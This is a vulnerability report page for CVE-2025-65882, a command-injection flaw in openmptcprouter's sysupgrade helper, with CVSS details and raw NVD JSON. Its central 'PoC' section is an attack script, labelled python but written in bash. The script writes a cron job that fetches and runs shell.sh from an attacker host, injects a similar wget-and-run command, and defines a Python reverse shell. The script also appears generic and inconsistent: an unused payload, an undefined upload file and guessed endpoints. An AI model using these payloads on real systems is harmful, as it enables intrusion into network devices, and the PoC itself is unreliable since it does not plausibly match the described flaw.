Security Vulnerability Report
中文
CVE-2025-65882 CVSS 9.8 CRITICAL

CVE-2025-65882

Published: 2025-12-09 19:15:50
Last Modified: 2026-01-02 21:30:28

Description

An issue was discovered in openmptcprouter thru 0.64 in file common/package/utils/sys-upgrade-helper/src/tools/sysupgrade.c in function create_xor_ipad_opad allowing attackers to potentially write arbitrary files or execute arbitrary commands.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openmptcprouter:openmptcprouter:*:*:*:*:*:*:*:* - VULNERABLE
openmptcprouter < 0.64

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-65882 PoC - Arbitrary File Write / RCE in openmptcprouter # Affected: openmptcprouter <= 0.64 # Target: sys-upgrade-helper create_xor_ipad_opad function TARGET_IP="${TARGET_IP}" PORT="${PORT}" ATTACKER_IP="${ATTACKER_IP}" ATTACKER_PORT="${ATTACKER_PORT}" echo "[*] CVE-2025-65882 PoC for openmptcprouter" echo "[*] Target: $TARGET_IP" # Method 1: Path Traversal for Arbitrary File Write PAYLOAD_FILE_WRITE="../../../../etc/cron.d/malicious" MALICIOUS_CONTENT="* * * * * root wget http://$ATTACKER_IP/shell.sh | bash\n" # Send malicious payload to trigger create_xor_ipad_opad echo "[+] Attempting arbitrary file write via path traversal..." curl -X POST "http://$TARGET_IP:$PORT/cgi-bin/sysupgrade" \ -d "action=create_xor" \ -d "input=$PAYLOAD_FILE_WRITE" \ -d "content=$MALICIOUS_CONTENT" 2>/dev/null # Method 2: Command Injection PAYLOAD_CMD_INJECTION="; wget http://$ATTACKER_IP/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh #" echo "[+] Attempting command injection..." curl -X POST "http://$TARGET_IP:$PORT/cgi-bin/sysupgrade" \ -d "action=create_xor" \ -d "input=$PAYLOAD_CMD_INJECTION" 2>/dev/null # Method 3: Reverse Shell via sysupgrade upload PAYLOAD_REVERSE_SHELL='import socket,subprocess,os;s=socket.socket();s.connect(("'${ATTACKER_IP}'",'${ATTACKER_PORT}'));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);' echo "[+] Sending reverse shell payload..." curl -X POST "http://$TARGET_IP:$PORT/cgi-bin/sysupgrade" \ -H "Content-Type: application/octet-stream" \ --data-binary "@malicious_upgrade.tar.gz" 2>/dev/null echo "[+] PoC execution completed"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65882", "sourceIdentifier": "[email protected]", "published": "2025-12-09T19:15:49.770", "lastModified": "2026-01-02T21:30:27.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in openmptcprouter thru 0.64 in file common/package/utils/sys-upgrade-helper/src/tools/sysupgrade.c in function create_xor_ipad_opad allowing attackers to potentially write arbitrary files or execute arbitrary commands."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openmptcprouter:openmptcprouter:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.64", "matchCriteriaId": "0BED6870-DE9D-4129-B18B-2BD2D198F932"}]}]}], "references": [{"url": "http://openmptcprouter.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gist.github.com/AradCohen/939ee50d60c4d2bd555a364615a5ab9c", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/Ysurac/openmptcprouter/commit/09393d1c41a227bea7d5b85c0a06221b1302b25f", "source": "[email protected]", "tags": ["Patch"]}]}}